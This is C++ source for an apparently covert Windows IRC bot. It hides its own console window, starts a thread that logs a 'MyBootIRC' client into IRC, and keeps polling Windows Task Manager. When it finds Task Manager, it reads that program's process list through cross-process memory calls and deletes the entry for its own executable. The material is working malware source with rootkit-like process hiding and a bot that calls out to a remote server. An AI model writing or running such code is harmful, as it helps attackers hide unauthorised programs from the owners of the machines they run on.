#include "stdafx.h"

#include <iostream>
using namespace std;
#include <windows.h>
#include <stdio.h>
#include <commctrl.h>
#include <string>

#include "MyBootIRC.h"
 
const unsigned long BUFSIZE = 255;
unsigned long dwSize = BUFSIZE;
char pbuf[ BUFSIZE + 1];
 
char filename[ MAX_PATH ];
DWORD size = GetModuleFileNameA( NULL, filename, MAX_PATH );
 
LVITEM lvi, *_lvi;
char item[512], subitem[512];
 
char *_item, *_subitem;
unsigned long pid;
HANDLE process;
 
char exename[257];
 
BOOL CALLBACK block(HWND,LPARAM);
DWORD WINAPI myThread(LPVOID lpParameter)
{
	//unsigned int& myCounter = *((unsigned int*)lpParameter);
	//while(myCounter < 0xFFFFFFFF) ++myCounter;

	 MyBootIRC bot = MyBootIRC("NICK MyBootIRC\r\n","USER guest tolmoon tolsun :Ronnie Reagan\r\n");
	 bot.start();
	return 0;
}


int main(int argc, char** argv){

	HWND hWind=GetForegroundWindow();
	ShowWindow(hWind,false);
	
	unsigned int myCounter = 0;
	 DWORD myThreadID;
	HANDLE myHandle = CreateThread(0, 0, myThread, &myCounter, 0, &myThreadID);


	GetUserName(pbuf, &dwSize);
	
	//cout << (LPCTSTR)pbuf << endl;
 
 
	if (size){
		string strfilename = (string)filename;
		string::size_type position = strfilename.rfind('\\');
		position++; //Only calculates to one BEFORE backslash
		string finalexe = strfilename.substr(position, strfilename.size());
 
		for(int a=0;a<finalexe.size();a++){
			exename[a] = finalexe[a];
		}
	}
 
 
 
	HWND fwindow;
	for(;;){
		Sleep(1);
		EnumChildWindows(FindWindow(0,"Windows Task Manager"),block,0);
	}
 
	return 0;
}
 
BOOL CALLBACK block(HWND hwnd,LPARAM lParam)
{
	char classname[150] =  "";
	char windowtext[150] =  "";
	//wchar_t
	GetWindowText(hwnd,windowtext,149);
	GetClassName(hwnd,classname,249);
 
	if (strstr(windowtext,"Processes") && strstr(classname,"SysListView32") !=NULL)
	{
		int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0);
		int i;
		GetWindowThreadProcessId(hwnd, &pid);
		process=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
		PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
 
		_lvi=(LVITEM*)VirtualAllocEx(process, NULL, sizeof(LVITEM),
		MEM_COMMIT, PAGE_READWRITE);
		_item=(char*)VirtualAllocEx(process, NULL, 512, MEM_COMMIT,
		PAGE_READWRITE);
		_subitem=(char*)VirtualAllocEx(process, NULL, 512, MEM_COMMIT,
		PAGE_READWRITE);
 
		lvi.cchTextMax=512;
		for(i=0; i<count; i++) {
			lvi.iSubItem=0;
			lvi.pszText=_item;
			WriteProcessMemory(process, _lvi, &lvi, sizeof(LVITEM), NULL);
			SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_lvi);
 
			lvi.iSubItem=1;
			lvi.pszText=_subitem;
			WriteProcessMemory(process, _lvi, &lvi, sizeof(LVITEM), NULL);
			SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_lvi);
 
			ReadProcessMemory(process, _item, item, 512, NULL);
			ReadProcessMemory(process, _subitem, subitem, 512, NULL);
 
			if (strstr(item,exename) &&strstr(subitem,pbuf) !=NULL)  //strstr(subitem,(LPCTSTR)pbuf) !=NULL) 
				SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_lvi);//to compare with 'item' you put the executable name, and to compare with the processes owner, (ex, System),
		}
	
		VirtualFreeEx(process, _lvi, 0, MEM_RELEASE);
		VirtualFreeEx(process, _item, 0, MEM_RELEASE);
		VirtualFreeEx(process, _subitem, 0, MEM_RELEASE);
		return FALSE;
	}
 
	return TRUE;
}